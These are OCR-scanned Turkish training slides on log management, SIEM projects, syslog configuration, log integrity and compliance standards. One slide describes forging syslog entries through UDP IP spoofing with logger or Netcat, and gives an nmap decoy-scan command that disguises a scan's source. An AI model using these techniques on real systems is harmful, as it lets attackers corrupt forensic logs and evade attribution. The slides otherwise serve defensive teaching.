o Farkli kaynaklardan log toplayabilme %20
o Ajanli ya da ajansiz calisma 6zelligi %10 gibi...
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Gereksinimleri Belirleme BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Neredeyse tamamen basarisizlikla sonuclanan SIEM projeleri olabiliyor, musterilerin
ihtiyaclari karsilanmiyor ve teknoloji saglayicilara karsi bir ofke olusmasina da vyol
acabiliyor.

* Projelerdeki en 6nemli adim “gereksinimlerin belirlenmesi” dir.

e "Osman bizim bir korelasyon motoruna ihtiyacimiz oldugunu soyledi" gereksinimleri
tanimlamanin yolu degildir.

* Once ihtiyaclar belirlenmeli
o Kim nasil belirleyecek...

o Guvenlik “danismanlar1” ne is yapar?
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Urin Aliminda Referans Kontrolu BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Referans kontrolu bir Grun alimindaki karar mekanizmasini etkileyecek en o6nemli
bilesenlerden biridir.

* Ortaminiz benzersiz olabilir, fakat referanslar satin almayl diustnduglnidz Grindn
baskalarinda iyi calisip calismadigi konusunda yardimci olur.

 PoC(Proof-of-concept) yaptirmamak ise daha da kotu ve karmasik yeni bir araci kendi
ortaminizda test etme firsatini atlamak demektir.

* Log Yonetimi Urunlerinin demolari ortalama bir iki ay1 bulabilmektedir.
o Enaz ¢ urun denenecek olsa ortalama alti aylik bir demo sureci..
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Log Yonetimi Icin Disk Alani BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Log yonetimi konusundaki en buyuk cikmazlardan birisi log toplanacak sistemlerin ne
kadar log uretecegi ve bu loglar icin ne kadarlik disk alani ayrilacagi bilgisinin olmamasidir.
* Sik karsilasilan hatalardan biri:

» Loglarin uzun streli saklanmasina ihtiyac hissedilmedigi distintlerek yeterli disk alani
ayriimamasi seklinde olmaktadir.
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Loglar Ne Kadar Saklanmalidir BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Standart ve guvenlik politikalarina gore loglarin saklanmasi gereken sure degisiklik
gosterebilir.

 PCI DSS uzerinden gidecek olursak bir yillik log saklama gereksinimiz basit bir formul ile
hesaplanabilir(bir sonraki sunum).

 PCI kapsamina giren sistemleriniz icin benzer hesaplamalar yaparak toplam gereksinim
hesaplanabilir.

 Daha o6nce gerceklestirilmis benzer 6lcekteki projeler
* (referans kontroll, basari hikayesi vb) incelenebilir.
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Loglama Icin Gerekli Disk Alant BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Bir yillik loglama icin ortalama disk alani = 365 glin x 24 saat x 3600 saniye x 100 (yogun
sistemler saniyede cok daha fazla log tretecektir) x 200 byte = 580~ gigabyte /yIl

* Tabi bu deger sikistirilmamis ham veridir.
> lyi bir sikistirma ile bu deger kucultulebilir.

* Loglaricin veri tabani kullaniyorsaniz bu sayiyi iki, Uc ile carpmak gerekebilir
» Veri Tabani 6zelliklerinden faydalanabilmek icin
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Log Projelerinde Danigman Firma Rolu BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Log yoOnetimi projelerinde Urunu satan firmalardan log yonetimi danismanligl
almiyoruz, sadece log yonetimi yazilimi/sistemi aliyoruz.

 Kendi ortamimizda yapmamiz gerekenleri baska firmalar bilemez.
* Log yonetiminizi ve log izlemenizi tek bilen sizsiniz, Gretici firma degil.
 Eger siz bilmiyorsaniz, kimse bilmiyordur.
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Log Toplamada Hukuki Boyut BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Toplanan loglarin kanunlar cercevesinde ise yaramasi icin mutlaka hukuk departmani ile
koordineli calisma yapilmalidir.

 Hukuki sorunlar log yonetimi ve analizi konusunda basarisizliga yol acacak sebeplerden
olabilir.

* Log verileri celiskili kanunlara ve duzenlemelere sahip olabilir ve sadece hukuk danismani
bunlari cozebilir.

5651 sayili kanun ornegi

* Alinan loglar kanuna uygun saklanilmis mi?
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Log Yonetim Sistemi (Urlin) Egitimi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Egitime ihtiyacim yok(!)
* Bir SIEM aracinda egitimden kacinmak paradan tasarruf etme yolu degildir.
 SIEM ve log yonetimi araclari altyapinin ve uygulamalarin pek cok parcalarina baglanirlar.

e SIEM konusunda uzman olsaniz bile rapor ve korelasyon kurallari gelistirmek Uretici
sistemler ve tasnifleme konusunda genis bilgi gerektirir.

* Uretici firma veya danismanlar diger musterilerdeki tecrubeleri ile size bu durumlar icin
cozumler sunabilirler.
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Aceleci Davranmak

Log Yonetimi ve Saldiri Analizi

BGA | SOME

 Son olarak, SIEM'i kurar kurmaz calismalarda azalma beklemek mantiksizdir.
 Kurup ozellestirip ince ayar cekmeden once buyuk bir kaynak tasarrufu goremezsiniz.

 SIEM "neyin yvanlis oldugunu soyleyen" sihirli bir kutudan cok "bir deger elde etmek icin
uzerinde calismalisiniz" dusuncesi icin iyi bir 6rnektir.

* Basarisiz log yonetimi projelerinin temel nedeni ilgisizliktir.
* Log Urunleri klasik gtivenlik Grunlerinden farkli bakim isterler
* Guvenlik duvari, Saldiri Engelleme Sistemi dokunmasaniz da engelleme yapabilir.
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Loglamanin Performansa Etkisi

Log Yonetimi ve Saldiri Analizi

BGA | SOME

* Loglama yapan sistemin durumuna gore performans etkileri degisiklik gosterebilir.

 Eger sistem Uzerinde yapilan tum islemleri logluyorsa ve bu loglari ag tGzerinden oldugu

gibi gonderiyorsa hem sistem uzerinde hem de ag Uzerinde bir performans problemi
olusma ihtimali yuksektir.

* Bunun icin genelde ajan mantigl ile calisan sistemlerde loglar belirli stre biriktirilerek
belirli araliklarla merkezi log yoplama sistemine gonderilir.

* Aktif sistemler Gzerinde genellikle loglama tavsiye edilmeaz.
o |IPS loglarini baska sistemdeki veritabanina gondermeli ... gibi
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Merkezi Log Yonetimi BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Farkh amaclarla kullanilan farkh sistemlerin trettigi loglarin tek bir merkezde toplanarak
isleme tabi tutulmasidir.
* Merkezi log yonetimine neden ihtiyac duyulur?

» Ayni is ortaminda 100 Linux, 10 Windows, 3 Cisco ve 5 farkli tipte uygulama var.

» Her biri icin ayri bir log altyapisi kurmak yerine merkezi bir yerde toplamak ve incelemek
daha kolay, saglikli ve glvenli bir yontemdir.

» Kaynak sistemlerin zaman dilimi farkliligi sorun olabilir

* Log analizi yapabilmek icin birden fazla kaynaktan gelen loglarin merkezi bir noktada
incelenebilmesi gerekir.
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Dagitik Sistemlerde Log Toplama BGA | SOME

Log Yonetimi ve Saldiri Analizi

Merkezi Log Sunucusu

Firewall

| WEB Server

()
Wireless Access Point

Remote Access Server

Durectory Sarver

(PDC) Email Server Print Server AV Server ((((

SECURITY
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Loglari Merkezde Toplama BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Farkh sistemlere ait loglarin bir merkezde toplanmasi
loglari siniflandirmada ve analiz islemlerinde kolaylik

saglar.
* Korelasyon kurali yazabilmek igin sart.
* Merkezi sistemlerin yedeklenmesi ve yonetimi daha © | Swich
kolaydir. P
. « o ceUe o « o . . ll."r H.-""_' IPS
* Loglarin degistirilmediginin garantisi (ana sistemin ele e
gecirilmesi durumu) B
i",‘f Web
?:" Server DB
| ; T
Lﬂg *‘_’_'r_.._--r- -7
Server
"
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Log Toplama Yontemleri BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Onlarca farkh sistem ve farkl log formatlari
» HP UX, Solaris, IBM AIX, Linux, Windows, Cisco, Juniper, HP, Apache, ozel gelistirilmis uygulamalar
» Her sistem kendi 6zel loglama sistemine sahip
* Bir cok sistem log uretecek sekilde yapilandirilabilir fakat Uretilen logu baska bir sisteme
gonderecek sekilde yapilandirilamaz.
> Ornek: IIS, Apache loglari

 Loglariiletmekicin standart ihtiyaci dogmustur
» Syslog
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Loglari Merkezi Bir Yere Toplama BGA | SOME

Log Yonetimi ve Saldiri Analizi

o |kitUr yapilabilir:
» Merkezi sistem belirlenir ve tim sistemlere tanimlanur.
» Merkezi sistem belirlenen tiim sistemlere baglanarak loglari toplar

v FTP, SSH, TFTP vs

* Guvenlik ve esneklik acisindan tercih edilen yontem: 1
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Loglari Merkezi Sisteme Yonlendirme BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Genelde iki yontem tercih edilir
1. Syslog
2. Ozel ajan yazilimlar aracihigiyla
* Syslog standart oldugu icin her sistem tarafindan desteklenir
» Her sisteme agent kurulamaz (6zellikle ag cihazlan)
 Agent bazli calisma daha cok detay loglamalarda ihtiya¢c duyulur

» Mesela syslog’un loglamadigi 6zellikler lazim olursa(Linux’da calistirilan komut
detaylari)

* Syslog ve agent yazilimi birlestirilerek t¢ctincu bir secenek olusturulabilir.
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Loglamada lletisim Glivenligi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Merkezi log toplama sureclerinde onemli bilesenlerden biri log gonderen ile alan sistem arasindaki
iletisim guvenligidir.
» Sadece yerel ag degil farkli aglar Gzerinden toplanan loglar olabilir.
» Bulut tabanli log yonetimi yazilimlarinda sart

* Bilgi guvenliginin Uc temel prensibi log toplama uzerinde uygulanmalidir

 Loglar hangi protokol Gzerinden iletilmekte, sifreli mi yoksa herkes tarafindan okunabilir nitelikte
mi? (confidentiality)

* Araya giren birileri tarafindan degistirilebilir mi? (integrity)

* Loglarin bir kisminin ana sisteme gelmesi engellenebilir mi? (availability)
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Syslog ve Ajan Tabanli Loglama Guvenligi

Log Yonetimi ve Saldiri Analizi

BGA | SOME

* Syslog protokolU gonderilen-alinan loglari sifrelemez

» TCP/514 Wireshark gibi bir sniffer araciligi ile dinlenirse gelen-giden tim loglar
izlenebilir ve degistirilebilir.

* Syslog-ng ve rsyslog yazilimlari TLS kullanarak gonderilen ve alinan loglarin
sifrelenmesi icin altyapi sunar

» RFC 3164

 Agent tabanli log iletim yazilimlari genellikle TLS Gzerinden iletisim kuracak sekilde
altyapiya sahiptirler.
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Loglamada Zaman Kavrami BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Log yonetimi ve adli bilisim analizi calismalarinda en 6nemli bilesenlerden birisi zaman
kavramidir.
* Birden fazla ortamdan log/delil toplanacak bir yapida en onemli unsur tim sistemlerin
zaman uyumudur.
» Firewall, VPN sunucudan iki saat geri ise?
* Dogu Avrupa Zaman Dilimi (Eastern European Time; EET), UTC+2 zaman diliminin bir
parcasidir. GMT'den 2 saat ileridir.
* Turkiye ve diger Dogu Avrupa ulkeleri ile birlikte, bazi Kuzey Afrika ve Orta Dogu ulkeleri
tarafindan kullantlr.
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Zaman Kavramlari Hakkinda Bilgilendirme BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Farkli cografik bolgelerde zaman farkli olabilmektedir.

* Sistemler Uzerinde log ayarlari yapilirken tim sistemlerin ayni zaman dilimi ayarini kullanmasi
saglanmalidir.

* http://en.wikipedia.org/wiki/Time zone

Standard Time Zones of the World
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Log Yonetimi ve Zaman lliskisi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Merkezi olarak toplanan loglarin birbirleri ile karsilastirilmasi ve korelasyon yapilabilmesi
ancak bu loglarin ayni zaman degerini kullanmasi ile mumkundur.

 Log kaynaklari arasindaki zaman uyumsuzlugu korelasyon isleminin basarisiz olmasina
sebep olur.
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Ornek Olay (Zaman Kavraminin Onemi)

Log Yonetimi ve Saldiri Analizi

BGA | SOME

* BBP Genel baskani kazasi ve NTV ornegi!
* Yanlis bilgilendirme ve sonucu yanlis anlasiimalar...

25.03.2009 14:34:36

0
25.03.2009 14:41:02 25.03.2009 16:41:02 02123354161 905068543500 O
25.03.2009 14:47:16 25.03.2009 16:47:16 02123354163 905068543500 O L | | ,
25.03.2009 14:47:27 25.03.2009 16:47:27 02123354163 905068543500 O Sl AeUROPIRIINGE 130 B ATRAAL - Ty
25.03.2009 14:48:17 25.03.2009 16:48:17 02123354163 905068543500 2 o
25.03.2009 14:48:34 25.03.2009 16:48:34 02123354163 905068543500 O i s
25.03.2009 14:48:48 25.03.2009 16:48:48 02123354163 905068543500 O ‘tdert Yazrerogh o, rettkupter—
25.03.2009 14:49:21 25.03.2009 16:49:21 02123354163 905068543500 O favalans Bl VLY oo
25.03.2009 14:49:52 25.03.2009 16:49:52 02123354163 905068543500 O | ciktn. Muhsin Yazicioglw'nun.
25.03.2009 14:50:01 25.03.2009 16:50:01 02123354163 905068543500 O A R T
25.03.2009 14:50:28 25.03.2009 16:50:28 02123354163 905068543500 0 Larfie Tarafonk fupl oot
25.03.2009 14:50:31 25.03.2009 16:50:31 02123354163 905068543500 O nrubabltinin NTV santralinden toplar
25.03.2009 14:50:35 25.03.2009 16:50:35 02123354163 905068543500 0 Iyoken ety biliniyhodn aym
25.03.2009 14:50:57 25.03.2009 16:50:57 02123354163 905068543500 O havalanmasmdan kazaya kadar gecen
25.03.2009 14:52:02 25.03.2009 16:52:02 02123354163 905068543500 O sttt i b i e
25.03.2009 14:52:09 25.03.2009 16:52:09 02123354163 905068543500 O defalaron armnns: Comoamwndaid
25.03.2009 14:52:43 25.03.2009 16:52:43 02123354163 905068543500 O clarak gizfiliyor. Helikopter
25.03.2009 14:53:20 25.03.2009 16:53:20 02123354163 905068543500 O Flstilden sonea e aramalar
25 N22°NNA 1A-BEA-N1 2Y°5 N2A27€NNA 1A-BEA-NM1 M IAARAIR2 QNnENnAQRAQRNN a) z
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Loglarin Guvenilirligi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Var olan loglarin guvenilirligini saglayabilir miyiz?
o Loglarin degismedigini ispat edebilir misiniz?
 [stenilen dzelliklerde sahte log Uretilebilir mi?

o Evet
o Logger yazilimi
* Disk Uzerinde yazilma tarihlerine bakilarak log degisiklikleri anlastlir mi?
o Disk uzerindeki her tur veri degistirilebilir
5651 sayili kanun ve loglama guvenligi
o Eksiklileri nelerdir?
* Sayisal zaman damgasi ve getirileri
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Sayisal Zaman Damgasi

Log Yonetimi ve Saldiri Analizi

BGA | SOME

5651 sayili kanunla hayatimiza giren tanim...
o Internet loglari® cesitli sistemlerden alinip zaman damgasi eklenerek saklanmali

* Amacg?
o Sayisal olarak yapilan bir isin X zamaninda yapildigi ve o tarihten sonra
degistirilmedigini belirlemek.

* Nasil Calisir? ->
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DTS Nasil Calisir?

Log Yonetimi ve Saldiri Analizi

BGA | SOME
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Sahte Log Uretimi BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Genellikle Syslog tabanli loglama yazilimlari UDP kullandigi icin loglar uzaktan farkl
sistemlerden geliyormus gibi gonderilebilir. (IP spoofing)

* Yazilacak ufak bir aracla sahte syslog mesajlari Uretilerek loglama sisteminin kafasi
karistirilabilir, DoS yapilabilir.

o Syslog icin logger, Netcat kullanilabilir.
 UDP tabanli ag protokolleri icin sahte log Gretimi saglanabilir

o Ali yasakli bir siteye dns sorgusu yapmis (IP spoofing ile mimkuindur)
* nmap-D1.2.3.4,5.6.7.8 www.bgasecurity.com

o Farkliip adresleri Port tarama yapmis gibi gosterilebilir.
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Log Guvenligi - 1 BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Loglarin sistem yoneticisi tarafindan alinmasi ve analiz edilmesi bir guvenlik riski
olusturur.

* Log kayitlari istedigi gibi degistirebilir ve Uzerinde oynanabilir.

* Bu durum bilgi gtivenligi (integrity/butinligine) aykiri bir durumdur.

* Cogu kurum bu konuda hassasiyet gostermemektedir.
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Log Guvenligi - 2 BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Loglarin butunlugu ile ilgili diger onemli husus da loglarin degistiriimemesi ve

bunun ispatlanmasidir.
 UNIX altinda dosyalari sadece ekleme modunda calisacak sekilde degistirilebilir.

 Boylece log dosyasina sadece ekleme yapilabilir, iceriginde degistirme yapilamaz

hale gelir.

 Arsive alinan log dosyalarinin teyplere yedeklenmeden once elektronik zaman

damgasinin alinmasi da loglarin alindigi tarihten sonra degistirilmedigini ispat icin

onemlidir.
:’—”ﬁ{‘.ﬂ“;‘.
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Log Toplama BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Log ve olay yonetim proseslerinin can alici boliumu nelerin loglanacagi konusudur.
* Bu her sirketin uymakla yukumlu oldugu guvenlik politikalari, standart, kanun ve
duzenlemelere baglh olarak degisiklikler gosterse de genelde ortak noktada

bulusurlar.

 Azlog toplamak da gereksiz yere cok log toplamak da hatadir.
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Hangi Tip Loglar Toplanmali ? BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Firmalarda neler loglaniyor?
 Tum basarili, basarisiz giris denemeleri (uygulama, sistem, kapi giris ...)
 Ag ve guvenlik sistemleri GUzerinde yapilan konfiglrasyon degisiklikleri

* Guvenlik duvari ve IPS’ler Uzerinde aktif kurallarin loglari
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Soru Cevap Log Detaylar BGA | SOME

Log Yonetimi ve Saldiri Analizi

Web Sunuculari Icin Neler Kayit Altina Alinmal ?

-
ii» BGA
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Loglama Detayi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Log satirlarinin anlam kazanmasi icin hangi detayda loglanmasi gerektigi 6nceden
belirlenmeli.

 Loglarin hangi detayda alinacagi konusu tamamen ihtiyaca yoneliktir.
* Ornek: web sunucu loglarindan neler alinabilir?

o GET loglari

o POST loglari
5651 sayili kanun der ki:

o WEB/SMTP icin detay baslik bilgileri

o GET/POST icin tam baslik bilgisi
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Standartlar Acisindan Log Yonetimi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Bilgi guvenligini amaclayan standart, kanun, duzenlemeler ve raporlar incelendiginde
hemen hepsinin loglama konusuna onem verdigi ve bu konuda aksiyonlar alinmasini
zorunlu tuttugu gorulmektedir.

 Her standart loglama acisindan farkli seyler istese de temel de hedef ayni oldugundan tek
bir log yonetimi sistemi ile cogu standarda uyum saglanabilir.

* FISMA, HIBAA, SOX, COBIT, ISO 27001, PCI DSS gibi uluslararasi uygulamaya sahip standart
ve kanunlar log yonetimini zorunlu kilmaktadir(/tavsiye etmektedir).

e Kanunlar ve standartlar tum vyaptirrmlardan her zaman daha etkin bir role sahip
olmaktadir.
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SOX (Sarbanes Oxley)

Log Yonetimi ve Saldiri Analizi

BGA | SOME

* Sarbanes-Oxley (SOX) kamuya acik ticaret yapan sirketlerde yonetimin guvenlik sireci
icerisinde “Ic Kontrollerin Degerlendirilmesi (Assesment of Internal Controls)”
kapsaminda belgelemeleri saglayan belirli tazukleri aciklar.

e Sistem ya da 6nemli finansal bilgiler iceren uygulamalara basarili bir giris ya da giris
denemesi yapildiginda bunu izleyip rapor etmek ve uyari verebilmek icin gereklidir.
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SOX Kapsaminda Loglama BGA | SOME

Log Yonetimi ve Saldiri Analizi

e SOX Uyumluluk Gereksinimleri, Kullanici Oturum Raporlari (User Logon Report)
* Basarisiz Oturum Acma Raporlari (Logon Failure Reports)
 Guvenlik Kayitlarina Erisim Raporu (Audit Log Access Reports)
 Nesne Erisim Raporlari (Object Access Reports)

e Sistem Olaylari Raporu (System Events Report)

e  Oturum Durum Raporu (Host Session Status Report)

* Guvenlik Kayitlarinin Arsivienmesi (Security Log Archiving)
 Oturum Durum Raporu (Host Session Status Report)

 Hesap Yonetim Olaylarinin Takibi

* Kullanici Grup Degisikliklerinin Takibi

* Denetim Politikalarinda Yapilan Degisikliklerin Takibi

 Basaril Etki Alani Oturum Acma Raporu (Domain Logon Reports)
e Basarisiz Etki Alani Oturum Acma Raporu (Domain Logon Failures)
 Kullanici Hareketlerinin Takibi

 Uygulama Calistirma Olaylarinin Takibi

* Dizin/Dosya Erisim Takibi
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COBIT

Log Yonetimi ve Saldiri Analizi

BGA | SOME

 Tanim olarak CobiT, “Control Objectives for Information and Related Technology”
nin kisaltiimis halidir.

* Turkce ifade etmek gerekirse: “Bilgi ve ilgili teknolojiler icin kontrol hedefleri”

* CobiT, Bilgi Teknolojileri yonetiminde ulasilmasi gereken hedefleri ortaya
koymaktadir.

 Kurumsal firmalarda oldukca populer bir konudur.
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COBIT Surecleri BGA | SOME

Log Yonetimi ve Saldiri Analizi

 CobiT icerisinde 4 ana baslik altinda toplam 34 surec bulunmaktadir.

 Bu 34 surec, pek cok sirket icin BT fonksiyonlarinin hemen hepsini kapsar.

Business

Requirements drive the

investments in

which responds
to

Enterprise

; IT Resources
Information

that are
used by

to deliver

IT Processes

-
»BGA
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COBIT ve Log Yonetimi

Log Yonetimi ve Saldiri Analizi

BGA | SOME

* Kullanici Aktiviteleri
A2.3 Kontrolu; Uygulama Kontrol ve Denetimi,

BT Altyapisi
DS3.5 Kontroll; Performans ve Kapasitenin Izlenmesi,
DS13.3 Kontrolu; BT Altyapisinin izlenmesi,
DS10.2 KontrolU; Problem takibi ve cozimlenmesi,

 @Guvenlik
DS5.5 Kontroll; Guvenligin test edilmesi, Gozetim ve lzleme,
DS5.10 Kontrolu; Ag Guvenligi,
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RIPAA BGA | SOME

Log Yonetimi ve Saldiri Analizi

 HIPAA( Health Insurance Portability and Accountability Act)

 HIPAA, bireylerin korunmus veya korunmasi gereken saglik bilgilerini mahremiyete
ve guvenlige uygun olarak gelistirilen bir takim idari, fiziksel ve tekniksel ihtiyat
standartlari butunuddar.

* |lac magazalari, eczaneler, kaza ve saghk sigortalari, tibbi hizmet plani veren
sirketler, tibbi cihaz satan ve kiralayan sirketler, bireysel hekim klinikleri,
hastaneler vb gibi organizasyonlar HIPAA'ya tabi olmaktadir (USA icin)

e http://www.loglogic.com/solutions/compliance/hipaa
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http://www.loglogic.com/solutions/compliance/hipaa

HIPAA ve Log Yonetimi BGA | SOME

Log Yonetimi ve Saldiri Analizi

 HIPAA tuzukleri saglik bilgilerinin givenligini saglamak icin gelistirilmistir.

 HIPAA saglik bilgilerinin izinsiz kullanimi ya da ifsa edilmesine karsi sistem denetimi glvenligine
uyumludur.

 HIPAA'nin gereksinimlerine gore “Sistem islemlerine izinsiz girise ya da denemelere, kullanmaya,
ifsa etmeye, degistirmeye ya da engellemeye” karsi bir guvenlik yonetiminin var olmasini zorunlu
kilar.

* 164.308 (a)(1)(ii)(D); Bilgi Sistemlerinin Aktivitelerinin Gézlenmesi (lliskisi 17-A-J Kontrolii)
164.308 (a)(6)(i)(D); Oturum acma girisimleri izlenmeli,
164.312 (b): Denetim Kontrolleri; Islemler ve ilgili tim sistem aktiviteleri izlenebilmeli.
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PCI DSS BGA | SOME

Log Yonetimi ve Saldiri Analizi

e QOdeme Kartlari Endustrisi Veri Guvenligi Standardi (PCI DSS), karth 6deme sistemlerinde
veri guvenligini saglamak amaciyla uluslararasi kabul gormis 6deme markalari olan
American Express, Discover Financial Services, JCB International, MasterCard
Worldwide ve Visa Inc. International kurumlarinca olusturulmus PCl Komitesi tarafindan
gelistirilmistir.

* PCI DSS, kartlhh odeme sistemlerinde yer alan kurum ve kuruluslarda bilgi guvenligini
saglamak Icin bilgi sistemlerinde bilgi
iletimini, bilgi isleyisini ve bilgi depolamayl esas alan 6 temel kriter baz alinarak
olusturulmus 12 gereksinim kategorisi ve bu kategoriler altinda yer alan 200 Gzerindeki
kontrolden olusmaktadir.

* Bu kontrollerden bir kismi log analizi ve yonetimini isaret etmektedir.
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PCI DSS ve Log Yonetimi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* PCI DSS Dokiimanindan llgili Maddeler

9. Kart bilgisine fiziksel erisimi kisitla.

Aglari diizenli olarak gézlemle ve test et.

10. Ag kaynaklarina ve kart verisine erisimi izle ve gézlemle.
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1SO 27001 BGYS BGA | SOME

Log Yonetimi ve Saldiri Analizi

e |SO 27001 kurumlarin bilgi guvenligi yonetim sistemi kurmalari icin gereklilikleri tanimlamaktadir.

 |SO 27001 Kurumlarin risk yonetimi ve risk isleme planlarini, gorev ve sorumluluklari, is devamliligi
planlarint, acil durum olay yonetimi prosedurleri hazirlamasini ve uygulamada bunlarin kayitlarini

tutmasini gerektirir.

Plan
Estabish the

ISMS

Development
maintainance
and
improvement
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SO 27001 ve Log Yonetimi BGA | SOME

Log Yonetimi ve Saldiri Analizi

A.10 Communications and operations management
A.10.10 Monitoring

A.10.10.1 Audit logging

A.10.10.2 Monitoring system use

A.10.10.3 Protection of log information

A.10.10.4 Administrator and operator logs

A.10.10.5 Fault logging

A.10.10.6 Clock synchronization
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Loglama Standardi : SYSLOG BGA | SOME

Log Yonetimi ve Saldiri Analizi

* 1980 vilinda Eric Allman tarafindan Sendmail projesinin bir parcasi olarak
gelistirildi.
* |ETF standardi olma ozelligini tasir.
 |ki temel bilesenden olusur: Facility - Priority
* Syslog facility
o auth, authpriv, daemon, cron, ftp, lpr, kern, mail, news, syslog, user, uucp,
localO, ..., local7

* Syslog priority
o Emergency, Alert, Critical, Error, Warning, Notice, Info or Debug
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SYSLOG Detaylari BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Selector alanit “” ile ayrilir ve iki boliumden olusur @ o Sys.ongm!;@

o Facility Workstations
o Priority
* Facility hangi tip loglarin tutulacagini " Syog Messages @
* Priority ilgili tipe ait ne detayda log tutulacagini belirler. A;;gucaﬁons | e
e *06zel bir anlama sahip olup tium facilityler anlamina gelir. @aw ag(_ A A \' |
sog Messages |2 _]
Servers Servers
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SYSLOG Facility Kavrami BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Facility log kaynagini belirler

 Mesela “mail facility.” Adi ne olursa olsun sistem tUzerinde mail islevi géren her programin
logu bu facility olarak gozukur.

* Birden fazla uygulama ayni facility degerini kullanabilir.

 Uygulamalara ek bir tag belirtme 6zelligi sunulmustur, boylece ayni facility kullanan
uygulamalar arasinda farklar belirlenebilir.

* Kendi facility'mizi tanimlama imkani taninmamistir.
 Tanimlanmis onlarca facility degerleri arasindan secim yapilabilir.
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SYSLOG Facility Cesitleri BGA | SOME

Log Yonetimi ve Saldiri Analizi

Facility Number Keyword Facility Description Facility Number Keyword Facility Description
0 Kern kernel messages ' log audit
1 user user-level messages 14 log alert
2 | Il syst
e b hentil 15 cron clock daemon
3 daemon | system daemons
16 localld | local use 0 (locald)
1 auth security/authorization messages
17 locall local use 1 (locall)
o syslog  messages generated internally by syslogd
. . 18 local2 | local use 2 (local2)
B \pr line pnnter subsystem
7 B— network news subsystem 19 locald | local use 3 (locald)
q uucp UUCP subsystem 20 locald  local use 4 (locald)
g clock daemon 21 locals | local use 5 (locals)
10 authpriv | security/authorization messages 22 localé  |local use 6 (local6)
11 fip FTP daemon 23 local7 | local use 7 (local7)
12 NTF subsystem N
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SYSLOG Priority Kavrami BGA | SOME

Log Yonetimi ve Saldiri Analizi

Mesajin onem derecesini belirler ve 8 farkli seviyeden olusmaktadir.

— A panic condition. This 1s normally broadcast to all users
Inmmediate action required. e.g.: Corrupted system database
Cntical condition. e_g.: Hard device errors

Error conditions

Warning conditions
_ Mormal but significant conditions that need attention
— Informational messages

debugging debug Debugging messages

( SECURITY
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Selector (Priority + Facility) BGA | SOME

Log Yonetimi ve Saldiri Analizi

SYSLOG mesaji priority ve facility birlesiminden olusmaktadir.

Selector Description
mail_* mail facility, any prionty
mail_debug mail facility, debug or higher prionty (same as )
mail, news.” all messages from mail or news

auth_warning all secunty messages of warning or higher priorty

*nfo all messages from any facility except debug msgs
* =Info any facility, info msgs only (and not higher)
* lerr any facility, pri <= err only

* I=aler any facility, any prionty except alert

*info;mail,news_ authpriv.none | all msgs with info or higher prionty except mail, news, and authpriv
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SYSLOG Yapilandirma BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Linux/UNIX sistemlerde syslog ayarlari  /etc/syslog.conf dosyasi kullanilarak
gerceklestirilir.

 Linux sistemlerdeki log dosyalarinin nerede tutulacagi syslog.conf araciligiyla
belirlenir.

 Farkl Linux dagitimlari(Linux isletim sisteminin cekirdegidir) farkli dosyalarda
tutabilir.

o Genel gecer bir standart henuz gelistirilmemistir.
* Windows sistemlerde standart olarak Syslog kullaniimaz.
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Syslog.conf Ornegi

Log Yonetimi ve Saldiri Analizi

BGA | SOME

root@seclabs:~# cat /etc/syslog.conf

* Her satir bir kural olarak yorumlanir.

Her kural satiri selector ve action olmak uUzere
iki bolimden olusur ve tab/bosluk ile ayrilir.

@BGASecurity

H JerC/BsYSs 1o, COnt CcContiguratcion file for syslogd.

#

# For more information see syslog.conf (5)
# manpadge .

i#

# First some standard logfiles. Log by facility.

i

auth ,authpriv.*

* . % rauth ,authpriv.none
#ocron . *

daemon . *

/var/log/auth. log
—/var/log/syslog
Jvar/log/cron. log
—/var/log/daemon. log
—/var/log/kern.log
—/var/log/lpr.log
—/var/log/mail.log
—/var/log/user. log

kern.*
1pr.*
mail . *
user . *
#

# Logging for the mail system.

#

mail.info
mail . .warning
mail .err

# Logging for INN news system
#

Split it up so that

# it is easy to write scripts to parse these files.

—/var/log/mail.info
—/var/log/mail .warn
fvar/log/mail .err

news .crit
news .err
news . notice

Jvar/log/news/news . crit
Svar/log/news/news .err
—/var/log/news /news . notice

Some catch—-all' logfiles.

* 3 3

=debug;\
auth,authpriv.none ;\
news .none ;mail . none

* =info;* —=notice;* =warning:;\

auth,authpriv.none ;\

cron , daemon .. none ; \

mail  news.none

—/var/log/debug

—/var/log/messages



[Baslik]

Log Yonetimi ve Saldiri Analizi

BGA | SOME

* Syslogd —r parametresi ile SYSLOG ag uzerinden gelecek loglari kabul etmeye
baslayacaktir.

 Herhangi bir yetkilendirme olmaksizin gelen tum loglar kabul edilecektir!

* |ptables ya da daha gelismis syslog sunucular kullanilarak log gonderecek
kaynaklar belirlenebilir, yetkilendirilebilir ve siniflandirilabilir.

* Ornek guvenlik duvar (iptables) kurali:
IPtables -A INPUT —s 192.168.10.0/25 -m udp -p udp --dport 514 -j ACCEPT
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Guvenlik Cihazlari Syslog Yapilandirmasi

Log Yonetimi ve Saldiri Analizi

BGA | SOME

: Enable syslog messages

Source interface Ngne i v

File Logging ‘ External Logging |

Syslog = rs

No. Enable 1P / Hosthame Port Security Facility Facility Event Log Traffic log | TCP

1 s | [ |[LOCALO v | |LOCALD v O

3 m ; | s || LOCALO ~| |LOCALO +| O O

s |0 | | [su || LOCALD  w| |LOCALD | 0 0 |
